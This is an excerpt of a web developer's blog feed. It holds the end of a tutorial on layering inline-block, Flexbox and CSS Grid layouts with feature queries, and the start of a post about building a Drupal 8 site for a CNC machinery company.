&lt;h3&gt;Fallback technique winner: &lt;code&gt;inline-block&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Given this basic layout is meant to be the basic fallback, I&apos;d go with the &lt;code&gt;inline-block&lt;/code&gt; technique, because it&apos;s much less code, and still looks reasonably decent. And remember that:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Websites do NOT need to look the same on every browser.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Bedgy, that&apos;s like, basic and edgy&lt;/h2&gt;
&lt;p&gt;So this will be our first layer of feature query, with Flexbox. The idea of Flexbox was discussed before 2008, with the first working draft of the specification published in 2009. But the implementation of Flexbox was rather messy.&lt;/p&gt;
&lt;p&gt;The trouble was that a number of developers used this yet-to-be-finalised feature in production, so everyone was in a bind when it came to updating the implementation. Well, that time has passed, and currently, Flexbox support is excellent.&lt;/p&gt;
&lt;p class=&quot;ciu_embed&quot; data-feature=&quot;flexbox&quot; data-periods=&quot;future_1,current,past_1,past_2&quot;&gt;
  &lt;a href=&quot;http://caniuse.com/#feat=flexbox&quot;&gt;Can I Use flexbox?&lt;/a&gt; Data on support for the flexbox
  feature across the major browsers from caniuse.com.
&lt;/p&gt;
&lt;p&gt;A common issue I hear is that it&apos;s difficult to create a grid system with Flexbox. The thing about Flexbox is, even though you can make a grid system with it, it isn&apos;t the best idea to do so. Flexbox is suited for laying out items in a single dimension, &lt;strong&gt;where there isn&apos;t a relationship between the rows and columns&lt;/strong&gt;. Think of it more like a daisy chain of flex children.&lt;/p&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
  &lt;figure class=&quot;multiple&quot; style=&quot;width: 100%;&quot;&gt;
    &lt;figcaption&gt;Either in rows...&lt;/figcaption&gt;
    &lt;img src=&quot;/images/posts/grid-basic/daisychain-r.svg&quot; style=&quot;max-height:17em&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;multiple&quot; style=&quot;width: 100%;&quot;&gt;
    &lt;figcaption&gt;...or in columns&lt;/figcaption&gt;
    &lt;img src=&quot;/images/posts/grid-basic/daisychain-c.svg&quot; style=&quot;max-height:18em&quot; /&gt;
  &lt;/figure&gt;
&lt;/div&gt;
&lt;p&gt;Flex items are laid out and aligned within &lt;em&gt;flex lines&lt;/em&gt;, which are those purple lines in the diagram. FYI these diagrams I sort of stole from the wonderful &lt;a href=&quot;http://brendastorer.com/&quot;&gt;Brenda Storer&lt;/a&gt; (I did tell her though) to illustrate this concept. Okay, hers look better than mine but I can&apos;t just use hers directly, that would be plagiarism.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.grid {
  display: flex;
  flex-wrap: wrap;
  margin: -1em 0 1em -0.5em;
}

.grid__item {
  padding: 1em 0 0 0.5em;
  flex: 1 0 20em;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So keep in mind that Flexbox isn&apos;t exactly good at being a proper grid. It doesn&apos;t handle gutters natively, hence the use of negative margins to get some space between each layout item. In general, Flexbox holds up pretty well, until we get to the last row of the layout. Unless it happens to end at a neat number, we usually end up with some odd orphan layout item(s).&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Well, we did tell ‘em to be flexible&lt;/figcaption&gt;
  &lt;video controls autoplay muted loop&gt;
    &lt;source src=&quot;/videos/gb-flex.mp4&quot; type=&quot;video/mp4&quot; /&gt;
    Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded
    videos, but don&apos;t worry, you can &lt;a href=&quot;/videos/gb-flex.mp4&quot;&gt;download it&lt;/a&gt;and watch it with your
    favourite video player!
  &lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;We can resolve this by doing the same thing we did for floats, and that is, introduce a slew of media queries, like so:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.grid__item {
  padding: 1em 0 0 0.5em;
}

@media screen and (min-width: 480px) {
  .grid__item {
    width: 50%;
  }
}

@media screen and (min-width: 768px) {
  .grid__item {
    width: 33.333%;
  }
}

@media screen and (min-width: 1024px) {
  .grid__item {
    width: 25%;
  }
}

@media screen and (min-width: 1280px) {
  .grid__item {
    width: 20%;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Another option is to cap the maximum width of each layout item, so the orphaned items don&apos;t grow to ridiculous sizes. However, by default, everything will align left, and there may be instances where you have an excess of white space on the right of the layout container.&lt;/p&gt;
&lt;p&gt;&lt;img
  src=&quot;/images/posts/grid-basic/flex-orphan-640.jpg&quot;
  srcset=&quot;/images/posts/grid-basic/flex-orphan-480.jpg 480w, /images/posts/grid-basic/flex-orphan-640.jpg 640w, /images/posts/grid-basic/flex-orphan-960.jpg 960w, /images/posts/grid-basic/flex-orphan-1280.jpg 1280w&quot;
  sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
  alt=&quot;Flex items on last row&quot;
/&gt;&lt;/p&gt;
&lt;p&gt;If you&apos;re okay with that, awesome. But anecdotally, most people would like to centre things. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person shrugging&quot;&gt;🤷&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;A little bit about box alignment&lt;/h3&gt;
&lt;p&gt;Enter, &lt;strong&gt;box alignment&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;I know I said no more spec talk but this is pretty important, and I&apos;m only covering a tiny part of it, specifically the part on &lt;a href=&quot;https://www.w3.org/TR/css-align-3/#content-distribution&quot;&gt;content distribution&lt;/a&gt;, i.e. aligning a box&apos;s contents within itself.&lt;/p&gt;
&lt;p&gt;There are 2 relevant properties for this purpose, &lt;code&gt;align-content&lt;/code&gt; and &lt;code&gt;justify-content&lt;/code&gt;, as well as a shorthand &lt;code&gt;place-content&lt;/code&gt;. As of time of writing, &lt;code&gt;place-content&lt;/code&gt; is only supported in Chrome 59 and above, as well as Firefox (not sure from which version onwards though).&lt;/p&gt;
&lt;p&gt;These properties behave slightly differently depending on the container they are applied to, so I&apos;ll just focus on flex container behaviour for now. &lt;code&gt;justify-content&lt;/code&gt; affects the flex items in each flex line and applies along the &lt;strong&gt;main axis&lt;/strong&gt;. &lt;code&gt;align-content&lt;/code&gt; affects the flex lines themselves and applies along the &lt;strong&gt;cross-axis&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Why not use horizontal and vertical axis? Because these physical directions may be different depending on the flex direction applied to the flex container, as well as the writing mode of the document, in various configurations. The diagrams below are just a subset of all possible permutations.&lt;/p&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
  &lt;figure class=&quot;multiple&quot; style=&quot;width:33%;&quot;&gt;
    &lt;figcaption&gt;flex-direction: row&lt;/figcaption&gt;
    &lt;img src=&quot;/images/posts/grid-basic/flexrow.svg&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;multiple&quot; style=&quot;width:33%;&quot;&gt;
    &lt;figcaption&gt;horizontal-tb (ltr)&lt;/figcaption&gt;
    &lt;img src=&quot;/images/posts/grid-basic/htblr.svg&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;multiple&quot; style=&quot;width:33%;&quot;&gt;
    &lt;figcaption&gt;horizontal-tb (rtl)&lt;/figcaption&gt;
    &lt;img
      src=&quot;/images/posts/grid-basic/htbrl.png&quot;
      srcset=&quot;/images/posts/grid-basic/htbrl@2x.png 2x&quot;
    /&gt;
  &lt;/figure&gt;
&lt;/div&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
  &lt;figure class=&quot;multiple&quot; style=&quot;width:33%;&quot;&gt;
    &lt;figcaption&gt;flex-direction: column&lt;/figcaption&gt;
    &lt;img src=&quot;/images/posts/grid-basic/flexcol.svg&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;multiple&quot; style=&quot;width:33%;&quot;&gt;
    &lt;figcaption&gt;vertical-rl&lt;/figcaption&gt;
    &lt;img src=&quot;/images/posts/grid-basic/vrl.png&quot; srcset=&quot;/images/posts/grid-basic/vrl@2x.png 2x&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;multiple&quot; style=&quot;width:33%;&quot;&gt;
    &lt;figcaption&gt;vertical-lr&lt;/figcaption&gt;
    &lt;img src=&quot;/images/posts/grid-basic/vlr.png&quot; srcset=&quot;/images/posts/grid-basic/vlr@2x.png 2x&quot; /&gt;
  &lt;/figure&gt;
&lt;/div&gt;
&lt;p&gt;For this particular demo, we&apos;re sticking with the most common setup of &lt;code&gt;flex-direction: row&lt;/code&gt; and writing mode of &lt;code&gt;horizontal-tb&lt;/code&gt;. The use case here is to centre the content along the horizontal plane, i.e. the main axis. So the property we want to call upon will be &lt;code&gt;justify-content&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;There are a myriad of values available for this property, those for distributing content and those for positioning content. For positioning, we have &lt;code&gt;center&lt;/code&gt;, &lt;code&gt;flex-start&lt;/code&gt;, &lt;code&gt;flex-end&lt;/code&gt;, &lt;code&gt;start&lt;/code&gt; and &lt;code&gt;end&lt;/code&gt;. For distribution, we have &lt;code&gt;stretch&lt;/code&gt;, &lt;code&gt;space-around&lt;/code&gt;, &lt;code&gt;space-between&lt;/code&gt; and &lt;code&gt;space-evenly&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Those values prefixed with &lt;code&gt;flex-&lt;/code&gt; only apply to flex containers, but otherwise they do what they say they will do, in that items will align to the start/centre/end of the container. Unfortunately, there is an &lt;a href=&quot;https://github.com/philipwalton/flexbugs/issues/128&quot;&gt;IE11 bug for &lt;code&gt;justify-content: center&lt;/code&gt;&lt;/a&gt;, so maybe we could use &lt;code&gt;space-around&lt;/code&gt; instead.&lt;/p&gt;
&lt;p&gt;For distribution, &lt;code&gt;stretch&lt;/code&gt; is treated the same as &lt;code&gt;flex-start&lt;/code&gt;. The difference between the other three is the amount of space between each item. &lt;code&gt;space-between&lt;/code&gt; will result in the first and last items of the row being flush with the edges of the container.&lt;/p&gt;
&lt;p&gt;&lt;img
  src=&quot;/images/posts/grid-basic/space-between-640.jpg&quot;
  srcset=&quot;/images/posts/grid-basic/space-between-480.jpg 480w, /images/posts/grid-basic/space-between-640.jpg 640w, /images/posts/grid-basic/space-between-960.jpg 960w, /images/posts/grid-basic/space-between-1280.jpg 1280w&quot;
  sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
  alt=&quot;space-between value&quot;
/&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;space-around&lt;/code&gt; gives each item an equal amount of space around themselves.&lt;/p&gt;
&lt;p&gt;&lt;img
  src=&quot;/images/posts/grid-basic/space-around-640.jpg&quot;
  srcset=&quot;/images/posts/grid-basic/space-around-480.jpg 480w, /images/posts/grid-basic/space-around-640.jpg 640w, /images/posts/grid-basic/space-around-960.jpg 960w, /images/posts/grid-basic/space-around-1280.jpg 1280w&quot;
  sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
  alt=&quot;space-around value&quot;
/&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;space-evenly&lt;/code&gt;, which is only supported by Firefox as of time of writing, distributes all the items evenly on the row, so the space between the first and last items and the edge of the container is the same as between items.&lt;/p&gt;
&lt;p&gt;&lt;img
  src=&quot;/images/posts/grid-basic/space-evenly-640.jpg&quot;
  srcset=&quot;/images/posts/grid-basic/space-evenly-480.jpg 480w, /images/posts/grid-basic/space-evenly-640.jpg 640w, /images/posts/grid-basic/space-evenly-960.jpg 960w, /images/posts/grid-basic/space-evenly-1280.jpg 1280w&quot;
  sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
  alt=&quot;space-evenly value&quot;
/&gt;&lt;/p&gt;
&lt;p&gt;Personally, I will go for the &lt;code&gt;justify-content: space-around&lt;/code&gt; option and hence my flexbox code will end up looking like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;@supports (display: flex) {
  .grid {
    display: flex;
    flex-wrap: wrap;
    margin: -1em 0 1em -0.5em;
    justify-content: space-around;
  }

  .grid__item {
    padding: 1em 0 0 0.5em;
    flex: 1 0 20em;
    max-width: 20em;
    width: auto;
    margin: initial;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;width: auto&lt;/code&gt; is used to reset the &lt;code&gt;width&lt;/code&gt; value applied on the basic layout, and same goes for &lt;code&gt;margin: initial&lt;/code&gt;. Now because feature queries are not supported by IE11 and below, none of the code in this block will apply on those browsers. Hence the lack of support for the &lt;code&gt;initial&lt;/code&gt; property on those browsers is also a moot point.&lt;/p&gt;
&lt;p&gt;It just so happens that the browsers that do support feature queries recognise &lt;code&gt;initial&lt;/code&gt; as well, so maybe we lucked out for that one. Except Opera Mini. But I checked to see how it looked, and it really isn&apos;t that bad, so I&apos;ll just live with the extra margin there. Otherwise, you can set an explicit value for the margin for the flex layout, which is fine too.&lt;/p&gt;
&lt;p&gt;Again, it&apos;s your call on whether having the orphaned items display differently is acceptable or not. It might be alright if your layout items don&apos;t have an image that spans the full width of the item, or it might not. Every context is different.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Websites do NOT need to look the same on every browser.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Why hello, Grid, you revolutionary, you...&lt;/h2&gt;
&lt;p&gt;There&apos;s so much I want to say about Grid, but I will hold it all in and only cover what is necessary to achieve the basic grid layout within the scope of this post.&lt;/p&gt;
&lt;p&gt;Grid is the most impressive roll-out of a new CSS feature I have ever seen, largely in part due to its development behind a flag. This meant that developers could test out Grid and provide feedback to the browser vendors yet be deterred from writing production code that wasn&apos;t fully baked yet.&lt;/p&gt;
&lt;p&gt;The only issue with this approach, which Rachel Andrew has highlighted time and time again, is that developer feedback isn&apos;t as enthusiastic as we want it to be.&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot; data-lang=&quot;en&quot;&gt;
  &lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;
    If you don&amp;#39;t test and offer feedback on new CSS like grid layout you are trusting your
    future tools to the very few of us who do.
  &lt;/p&gt;
  &amp;mdash; Rachel Andrew (@rachelandrew) &lt;a href=&quot;https://twitter.com/rachelandrew/status/753996654777360384&quot;&gt;July 15, 2016&lt;/a&gt;
&lt;/blockquote&gt;
&lt;p&gt;The CSS working group has put all the &lt;a href=&quot;https://github.com/w3c/csswg-drafts&quot;&gt;working drafts of specification on GitHub&lt;/a&gt; and all of us are free to participate in discussions, raise issues and provide feedback. If you spot something tiny, like a typo in the specification, you can submit a pull request. It doesn&apos;t take too much effort, honestly.&lt;/p&gt;
&lt;p&gt;Grid is different from all the layout techniques we&apos;ve used in the past because it is the only solution that works from the container in (credit to Rachel Andrew for this concept). It calls for a big picture view of the grid you have in mind, as opposed to sizing each item individually, which may sometimes lead to a “missing the forest for the trees” situation.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The major benefit here is that we don’t need elements to depend on each other for placement. We can specify their position on x and y axis independent of what is around them.&lt;br&gt;
— Brenda Storer&lt;/p&gt;
&lt;/blockquote&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Now that&apos;s good behaviour&lt;/figcaption&gt;
  &lt;video controls=&quot;&quot; autoplay=&quot;&quot; muted=&quot;&quot; loop=&quot;&quot;&gt;
    &lt;source src=&quot;/videos/gb-grid.mp4&quot; type=&quot;video/mp4&quot; /&gt;
    Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded
    videos, but don&apos;t worry, you can &lt;a href=&quot;/videos/gb-grid.mp4&quot;&gt;download it&lt;/a&gt;and watch it with your
    favourite video player!
  &lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;Another fantastic functionality that only pertains to Grid (at the moment), is &lt;code&gt;grid-gap&lt;/code&gt;. We can now tell the browser that we want gaps between the items in our layout and the browser will figure the math out. And we have this feature because Rachel Andrew pushed for it at CSS Day and specification author, &lt;a href=&quot;http://fantasai.inkedblade.net/&quot;&gt;Elika J. Etemad&lt;/a&gt; (AKA Fantasai), who was in the audience, wrote it into the specification. &lt;a href=&quot;https://rachelandrew.co.uk/archives/2015/11/03/three-years-with-css-grid-layout/&quot;&gt;Detailed story here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Anyway, with Grid, we finally have a legit technique for laying out items in a grid. Like Pinocchio finally becoming a real boy. None of that complicated math to determine the best width for each item, no more messing with negative margins for gaps. Just good solid CSS grid code.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;@supports (display: grid) {
  .grid {
    display: grid;
    grid-template-columns: repeat(auto-fill, minmax(20em, 1fr));
    grid-gap: 0.5em;
    margin: initial;
  }

  .grid__item {
    padding: initial;
    max-width: none;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The basic premise of how grid works involves defining the grid, via the &lt;code&gt;grid-template-columns&lt;/code&gt; and &lt;code&gt;grid-template-rows&lt;/code&gt;. These properties allow you to define the size of the grid tracks for columns and rows respectively. We can then place items in the grid, either by ourselves or allowing the browser to do it for us.&lt;/p&gt;
&lt;p&gt;For a regular basic grid, the browser can do it so much better than us, because, you know, math is more their forte than ours? No seriously, the &lt;a href=&quot;https://www.w3.org/TR/css-grid-1/#grid-item-placement-algorithm&quot;&gt;grid auto-placement algorithm&lt;/a&gt; is really awesome.&lt;/p&gt;
&lt;p&gt;In this basic grid, we&apos;re making use of the &lt;code&gt;repeat()&lt;/code&gt; function, and the &lt;code&gt;minmax()&lt;/code&gt; function. The &lt;code&gt;repeat()&lt;/code&gt; function saves us the trouble of having to repeat the same pattern of columns/rows by hand. It also takes either the &lt;code&gt;auto-fill&lt;/code&gt; or &lt;code&gt;auto-fit&lt;/code&gt; argument, which means the browser will determine how many columns or rows the grid should have, based on the available space.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;minmax()&lt;/code&gt; takes 2 arguments, a size range between the &lt;em&gt;&amp;lt;min&amp;gt;&lt;/em&gt; and &lt;em&gt;&amp;lt;max&amp;gt;&lt;/em&gt; values. It let&apos;s us cap the minimum width of a grid item at a fixed/inflexible width (&lt;em&gt;&amp;lt;min&amp;gt;&lt;/em&gt;), while the &lt;em&gt;&amp;lt;max&amp;gt;&lt;/em&gt; value can be a fixed value, a flex value or determined by content size using &lt;code&gt;min-content&lt;/code&gt; or &lt;code&gt;max-content&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;grid-template-columns: repeat(auto-fill, minmax(20em, 1fr));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This line tells the browser I want to have as many grid columns as the space given allows that are at least 20ems wide. If there is any extra space available, distribute it evenly amongst all the columns. No extra math, no slew of media queries &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person gesturing ok&quot;&gt;🙆&lt;/span&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;grid-gap: 0.5em;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Instead of using paddings and margins for gutters between each grid item, I just have to set the &lt;code&gt;grid-gap&lt;/code&gt; to whatever value I want the gutters to be. &lt;code&gt;grid-gap&lt;/code&gt; is actually a short-hand for &lt;code&gt;&amp;lt;‘grid-row-gap’&amp;gt; &amp;lt;‘grid-column-gap’&amp;gt;?&lt;/code&gt;, and takes in 2 arguments. If you only use 1 argument, both properties will take the same value.&lt;/p&gt;
&lt;h2&gt;Altogether now&lt;/h2&gt;
&lt;p&gt;The final layout code ends up looking like this, based on my decisions to use the inline-block technique for base browsers, the space-around technique for yes-flex-no-grid browsers and grid for all the new kids.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;body {
  text-align: center;
}

.grid {
  display: inline-block;
}

.grid__item {
  width: 20em;
  display: inline-block;
  vertical-align: top;
  margin: 1em 0.5em;
  text-align: left;
}

@supports (display: flex) {
  .grid {
    display: flex;
    flex-wrap: wrap;
    margin: -1em 0 1em -0.5em;
    justify-content: space-around;
  }

  .grid__item {
    padding: 1em 0 0 0.5em;
    flex: 1 0 20em;
    max-width: 20em;
    width: auto;
    margin: initial;
  }
}

@supports (display: grid) {
  .grid {
    display: grid;
    grid-template-columns: repeat(auto-fill, minmax(20em, 1fr));
    grid-gap: 0.5em;
    margin: initial;
  }

  .grid__item {
    padding: initial;
    max-width: none;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you ask me, I don&apos;t think this is an excessive amount of code. But of course, you&apos;re free to disagree. I hope that this will convince you that progressively enhancing your CSS is a valuable design pattern to add to your repertoire.&lt;/p&gt;
&lt;p&gt;Also, start reading the specifications if you haven&apos;t done so before. They are the root of how browsers are supposed to behave so if you do find a behaviour that doesn&apos;t seem right, it might very well be a browser bug. We can raise those with the respective browser vendors. And voilà! You&apos;ve just made the web better &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;confetti ball&quot;&gt;🎊&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;Lastly, and say it with me...&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Websites do NOT need to look the same on every browser.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Until the next one! &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;hugging face&quot;&gt;🤗&lt;/span&gt;&lt;/p&gt;
&lt;h2&gt;Useful resources&lt;/h2&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://drafts.csswg.org/css-conditional-3/#at-supports&quot;&gt;Feature queries: the ‘@supports’ rule&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/%40supports&quot;&gt;CSS @supports on MDN&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://hacks.mozilla.org/2016/08/using-feature-queries-in-css/&quot;&gt;Using Feature Queries in CSS&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://fantasai.inkedblade.net/weblog/2012/css-layout-evolution/&quot;&gt;Evolution of CSS Layout: 1990s to the Future&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://gridbyexample.com/patterns/&quot;&gt;Grid Grab &amp;amp; Go Patterns&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://igalia.github.io/css-grid-layout/&quot;&gt;CSS Grid Layout Examples&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://codepen.io/collection/XRRJGq/&quot;&gt;CSS Grid Layout CodePen collection&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>The one with big machines</title><link>https://chenhuijing.com/blog/the-one-with-big-machines/</link><guid isPermaLink="true">https://chenhuijing.com/blog/the-one-with-big-machines/</guid><description>It&apos;s time for my annual Drupal project again. I had actually got my start in web development with Drupal and although I&apos;ve left agency life, it seems that I&apos;d…</description><pubDate>Mon, 04 Sep 2017 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;It&apos;s time for my annual Drupal project again. I had actually got my start in web development with Drupal and although I&apos;ve left agency life, it seems that I&apos;d still end up with at least one Drupal project a year. Largely because when someone needs a CMS, I tend to lean toward Drupal, it&apos;s like Linus and his blanket &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person shrugging&quot;&gt;🤷&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img
  src=&quot;/images/posts/sinvict/sinvict-640.jpg&quot;
  srcset=&quot;/images/posts/sinvict/sinvict-480.jpg 480w, /images/posts/sinvict/sinvict-640.jpg 640w, /images/posts/sinvict/sinvict-960.jpg 960w, /images/posts/sinvict/sinvict-1280.jpg 1280w&quot;
  sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
  alt=&quot;Sinvict Technology&quot;
/&gt;&lt;/p&gt;
&lt;p&gt;Sinvict Technology is a company that manufactures CNC (Computer Numerical Control) machinery, as well as repairs and servicing for those machines. With their main client base in the South-east Asia region, one of their key concerns was to have their website be performant on dodgy network connections, as their existing site was around 11mb and took 1 minute to load. (I know this because I checked it, to prove a point &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;smiling face with horns&quot;&gt;😈&lt;/span&gt;)&lt;/p&gt;
&lt;p&gt;The site requirements were not overly complicated and I was also working with a designer I was familiar with, so things were a little smoother than if it was a complete stranger. Sinvict did not have an IT department, nor a dedicated staff member to be in charge of the website. Given such circumstances, I decided to host them on &lt;a href=&quot;https://pantheon.io/&quot;&gt;Pantheon&lt;/a&gt;, and then proceeded to write a blog post about it.&lt;/p&gt;
&lt;h2&gt;General requirements&lt;/h2&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Website performance score should be at least 75 and above&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Responsive site that works well on mobile&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Custom designed theme (provided by in-house designer)&lt;/li&gt;
  &lt;li&gt;Non-technical users can add and update content&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These requirements were reasonable enough, and I&apos;d worked on enough projects to understand that a website will LOOK 80% complete in 20% of the time, but the devil is in the details, and that is what takes up the bulk of the effort.&lt;/p&gt;
&lt;p&gt;Building a website is a lot like creating a sculpture, where you start off with a heavy chisel cutting off large chunks of stone, then move on to a point chisel to actually carve out the details of the sculpture.&lt;/p&gt;
&lt;p&gt;It all starts off with a basic installation of Drupal 8, plus some developer modules like &lt;a href=&quot;https://www.drupal.org/project/admin_toolbar&quot;&gt;Admin Toolbar&lt;/a&gt;, &lt;a href=&quot;https://www.drupal.org/project/devel&quot;&gt;Devel&lt;/a&gt; and &lt;a href=&quot;https://www.drupal.org/project/browsersync&quot;&gt;Browsersync&lt;/a&gt;. Views is part of core now, and honestly, I&apos;ve never built a Drupal site without Views before, so I&apos;m pretty happy about this for Drupal 8.&lt;/p&gt;
&lt;h2&gt;Module selection&lt;/h2&gt;
&lt;p&gt;I had already gone through two meetings with the key stakeholder and designer for the site and we had agreed on what functionality would be available on the site. Next, was to decide which modules would work best to achieve those features.&lt;/p&gt;
&lt;p&gt;Based on the proposed design, using Panels to build out the pages seemed like the best approach, as there were numerous views of the same content type, each with different filtering criteria, that would appear on the various sections of the site. Panels allowed me to build out the site using blocks of content, kind of like piecing together a Lego house.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.drupal.org/project/panels&quot;&gt;Panels&lt;/a&gt; is slightly different in Drupal 8 than Drupal 7. Because the interface is slightly different now, it took me quite a while before realising I could do use an existing node as a block by selecting &lt;em&gt;Entity View (Content)&lt;/em&gt; from the &lt;em&gt;Chaos Tools&lt;/em&gt; section when adding a new block. Custom block management is much sleeker now in Drupal 8 as well, and custom blocks replaced what I used to do with custom content panes in Drupal 7.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.drupal.org/project/ds&quot;&gt;Display Suite&lt;/a&gt; remains an indispensable module, especially if the site you&apos;re building requires a custom theme, because DS lets you get really granular with how you want fields to be displayed. &lt;a href=&quot;https://www.drupal.org/project/field_group&quot;&gt;Field Group&lt;/a&gt; is helpful for custom layouts because sometimes certain fields need an extra wrapper around them for styling purposes.&lt;/p&gt;
&lt;p&gt;Although Views is part of core, it seems &lt;a href=&quot;https://www.drupal.org/project/better_exposed_filters&quot;&gt;Better Exposed Filters&lt;/a&gt; wasn&apos;t folded in there, and I&apos;m sure there are pretty good reasons for that. But BEF is really helpful when you want to create filters that can be modified based on user input, and I&apos;m quite thankful they managed to port this over to Drupal 8.&lt;/p&gt;
&lt;p&gt;This site, being a kind of brochure site for second-hand CDC machines, ultimately needed some way to display all the images of the machines. So an image gallery was needed. The &lt;a href=&quot;https://www.drupal.org/project/flexslider&quot;&gt;Flex Slider&lt;/a&gt; library was the closest fit to the design&apos;s requirements, and luckily there was already a Drupal module for that.&lt;/p&gt;
&lt;h2&gt;Custom theme work&lt;/h2&gt;
&lt;p&gt;Now, this is my bread and butter. So, because of this project, I ported my original starter base theme, &lt;a href=&quot;https://www.drupal.org/sandbox/hj_chen/2345293&quot;&gt;Clarus&lt;/a&gt;, from Drupal 7 to Drupal 8, and took the opportunity to do some housekeeping, like removing unused dependencies and updating the gulpfile.js and so on.&lt;/p&gt;
&lt;p&gt;A major change from Drupal 7 to Drupal 8 is the use of Twig as the templating language over PHPTemplate, so no more &lt;code&gt;.tpl.php&lt;/code&gt; files. Instead, we have &lt;code&gt;.html.twig&lt;/code&gt; files. The syntax of Twig is quite similar to Liquid, if you&apos;ve ever used Jekyll before, this should ring a few bells for you.&lt;/p&gt;
&lt;p&gt;A really helpful developer tweak is the ability to turn on debug mode, which adds comments when you inspect through DevTools that indicate which template suggestions work best for the specific section you&apos;re trying to customise.&lt;/p&gt;
&lt;p&gt;&lt;img
  src=&quot;/images/posts/sinvict/twig-debug-640.jpg&quot;
  srcset=&quot;/images/posts/sinvict/twig-debug-480.jpg 480w, /images/posts/sinvict/twig-debug-640.jpg 640w, /images/posts/sinvict/twig-debug-960.jpg 960w, /images/posts/sinvict/twig-debug-1280.jpg 1280w&quot;
